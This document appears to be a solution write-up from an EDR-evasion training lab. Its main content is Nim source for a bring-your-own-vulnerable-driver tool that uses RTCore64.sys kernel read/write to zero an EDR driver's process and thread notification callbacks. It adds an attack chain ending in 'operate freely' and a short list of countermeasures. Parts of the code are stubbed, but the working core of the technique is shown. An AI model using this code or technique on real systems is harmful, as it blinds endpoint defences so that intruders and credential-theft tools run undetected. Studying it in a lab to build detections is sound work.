Solution 38: BYOVD — Remove Kernel Callbacks
Overview
Instead of killing the EDR agent (Challenge 37), this technique silently removes the kernel driver’s callbacks from the kernel’s notification arrays. The agent stays alive but never receives another event — it’s completely blind without knowing it.
This is the approach used by EDRSandblast (-process and -thread flags) and CheekyBlinder (ObRegisterCallbacks removal).
Solution (Callback Removal with RTCore64.sys)
# callback_remove.nim - remove EDR kernel callbacks via R/W driver
import winim/lean
import os, strutils
const
RTCORE_DEVICE = r"\\.\RTCore64"
RTCORE_MAP_PHYS = 0x80002048'u32
RTCORE_UNMAP = 0x8000204C'u32
MAX_CALLBACKS = 64
type
# RTCore64.sys R/W structs
RtCoreRead {.packed.} = object
pad1: array[8, byte]
address: uint64
pad2: uint32
value: uint32
RtCoreWrite {.packed.} = object
pad1: array[8, byte]
address: uint64
pad2: uint32
value: uint32
# Kernel module info from NtQuerySystemInformation
SystemModuleEntry = object
section: pointer
mappedBase: pointer
imageBase: pointer
imageSize: uint32
flags: uint32
loadOrderIndex: uint16
initOrderIndex: uint16
loadCount: uint16
offsetToFileName: uint16
fullPathName: array[256, char]
proc kernelRead64(hDevice: HANDLE, address: uint64): uint64 =
var req: RtCoreRead
req.address = address
var bytesReturned: DWORD
DeviceIoControl(hDevice, RTCORE_MAP_PHYS,
&req, DWORD(sizeof(req)), &req, DWORD(sizeof(req)),
&bytesReturned, nil)
return cast[uint64](req.value)
proc kernelWrite64(hDevice: HANDLE, address: uint64, value: uint64) =
var req: RtCoreWrite
req.address = address
req.value = cast[uint32](value)
var bytesReturned: DWORD
DeviceIoControl(hDevice, RTCORE_UNMAP,
&req, DWORD(sizeof(req)), nil, 0,
&bytesReturned, nil)
proc findKernelModule(name: string): (uint64, uint32) =
# Use NtQuerySystemInformation(SystemModuleInformation)
# to find the base address and size of a kernel module
# Returns (baseAddress, imageSize)
#
# Simplified - real implementation parses the returned buffer
discard
return (0'u64, 0'u32)
proc getCallbackArrayAddress(kernelBase: uint64,
symbolName: string): uint64 =
# Resolve PspCreateProcessNotifyRoutine from ntoskrnl PDB
# Real tools use:
# 1. Download PDB from Microsoft symbol server
# 2. Parse PDB for symbol offset
# 3. Add offset to kernel base
#
# Or use hardcoded offsets per build number:
# Windows 10 21H2: ntoskrnl+0x______
# Windows 11 23H2: ntoskrnl+0x______
discard
return 0'u64
proc removeProcessCallbacks(hDevice: HANDLE,
edrBase, edrSize: uint64): int =
let kernelBase = findKernelModule("ntoskrnl.exe")[0]
let callbackArray = getCallbackArrayAddress(kernelBase,
"PspCreateProcessNotifyRoutine")
var removed = 0
for i in 0 ..< MAX_CALLBACKS:
let slot = callbackArray + uint64(i * 8)
let entry = kernelRead64(hDevice, slot)
if entry == 0: continue
# Callback entries are EX_CALLBACK_ROUTINE_BLOCK pointers
# with the low 4 bits used as flags — mask them off
let blockAddr = entry and not 0xF'u64
# Read the Function pointer from the block
let funcPtr = kernelRead64(hDevice, blockAddr + 8)
# Check if the function pointer falls within the EDR driver
if funcPtr >= edrBase and funcPtr < edrBase + edrSize:
echo "[+] Found EDR callback at slot ", i,
" -> 0x", funcPtr.toHex()
# Zero the callback entry to remove it
kernelWrite64(hDevice, slot, 0)
inc removed
echo " [*] Removed!"
return removed
proc removeThreadCallbacks(hDevice: HANDLE,
edrBase, edrSize: uint64): int =
# Same approach but targeting PspCreateThreadNotifyRoutine
let kernelBase = findKernelModule("ntoskrnl.exe")[0]
let callbackArray = getCallbackArrayAddress(kernelBase,
"PspCreateThreadNotifyRoutine")
var removed = 0
for i in 0 ..< MAX_CALLBACKS:
let slot = callbackArray + uint64(i * 8)
let entry = kernelRead64(hDevice, slot)
if entry == 0: continue
let blockAddr = entry and not 0xF'u64
let funcPtr = kernelRead64(hDevice, blockAddr + 8)
if funcPtr >= edrBase and funcPtr < edrBase + edrSize:
echo "[+] Found EDR thread callback at slot ", i
kernelWrite64(hDevice, slot, 0)
inc removed
return removed
proc removeObCallbacks(hDevice: HANDLE,
edrBase, edrSize: uint64): int =
# ObRegisterCallbacks creates OB_CALLBACK_ENTRY nodes
# linked in a doubly-linked list.
#
# To remove: find the entry where PreOperation or
# PostOperation points into the EDR's module range,
# then unlink it (Flink/Blink pointer surgery).
#
# CheekyBlinder enumerates via:
# 1. Find ObTypeInitializer for *PsProcessType
# 2. Walk CallbackList (LIST_ENTRY)
# 3. Each node has PreOperation/PostOperation pointers
# 4. Check if they point into the EDR module
# 5. Unlink: prev.Flink = node.Flink; next.Blink = node.Blink
echo "[*] ObCallback removal requires LIST_ENTRY surgery"
echo " See CheekyBlinder for reference implementation"
return 0
when isMainModule:
echo "[*] BYOVD Callback Removal Tool"
echo "[*] Target: MostShittyEDR.sys"
echo ""
# Step 1: Find the EDR driver in kernel memory
let (edrBase, edrSizeU32) = findKernelModule("MostShittyEDR.sys")
let edrSize = uint64(edrSizeU32)
if edrBase == 0:
echo "[-] MostShittyEDR.sys not found in kernel modules"
quit(1)
echo "[+] MostShittyEDR.sys @ 0x", edrBase.toHex(),
" (", edrSize, " bytes)"
# Step 2: Open the vulnerable driver
let hDevice = CreateFileA(RTCORE_DEVICE,
GENERIC_READ or GENERIC_WRITE, 0, nil,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0)
if hDevice == INVALID_HANDLE_VALUE:
echo "[-] Cannot open RTCore64 device"
quit(1)
defer: CloseHandle(hDevice)
# Step 3: Remove all callback types
let procRemoved = removeProcessCallbacks(hDevice, edrBase, edrSize)
let threadRemoved = removeThreadCallbacks(hDevice, edrBase, edrSize)
let obRemoved = removeObCallbacks(hDevice, edrBase, edrSize)
echo ""
echo "[+] Results:"
echo " Process callbacks removed: ", procRemoved
echo " Thread callbacks removed: ", threadRemoved
echo " ObCallbacks removed: ", obRemoved
echo ""
echo "[+] EDR driver is now deaf - agent receives no events"
Why It Works
The MostShittyEDR kernel driver registers its callbacks via standard kernel APIs. These callbacks are stored in kernel arrays that any code with kernel R/W access can modify:
-
PspCreateProcessNotifyRoutine: Array of 64EX_CALLBACK_ROUTINE_BLOCKpointers. Zeroing an entry removes the callback — the kernel simply skipsNULLslots. -
PspCreateThreadNotifyRoutine: Same structure and technique. -
ObRegisterCallbacks: CreatesOB_CALLBACK_ENTRYnodes in a doubly-linked list offObjectType->CallbackList. Unlinking a node (pointer surgery on Flink/Blink) removes the callback.
The driver has no integrity monitoring — it never checks whether its callbacks are still registered. The agent continues polling IOCTL_WAIT_FOR_EVENT, but no events ever arrive because the kernel no longer invokes the callbacks.
Attack Chain
1. Load vulnerable R/W driver (RTCore64.sys, GDRV.sys, DBUtil_2_3.sys)
2. Find ntoskrnl.exe base via NtQuerySystemInformation
3. Resolve PspCreateProcessNotifyRoutine offset (PDB or hardcoded)
4. Find MostShittyEDR.sys base+size in kernel module list
5. Walk the callback array, find entries pointing into EDR range
6. Zero them out via the R/W driver
7. Repeat for PspCreateThreadNotifyRoutine and ObCallbackList
8. EDR agent is blind — operate freely
Real-World Countermeasures
Production EDRs defend against callback removal with:
- PatchGuard (KPP): Periodically verifies callback arrays haven’t been tampered with — causes BSOD if tampering detected
- Kernel Data Protection (KDP): Marks callback arrays as read-only at the hypervisor level (VBS-protected)
- Self-verification: The driver periodically re-checks its callbacks are still registered and re-registers if removed
- HVCI Driver Blocklist: Blocks known R/W drivers from loading
- Minifilter-based monitoring: Detects the loading of known-vulnerable
.sysfiles
How to Verify
- Start the EDR in driver mode:
.\edr_agent.exe --driver --verbose - Verify events flow: launch
notepad.exe— the agent should show[CREATE] - Run the callback removal tool
- Launch
notepad.exeagain — the agent shows nothing (deaf) - The agent is still running (
tasklist) but receives no events - Even
mimikatz.execan run without detection in this state
MostShittyEDR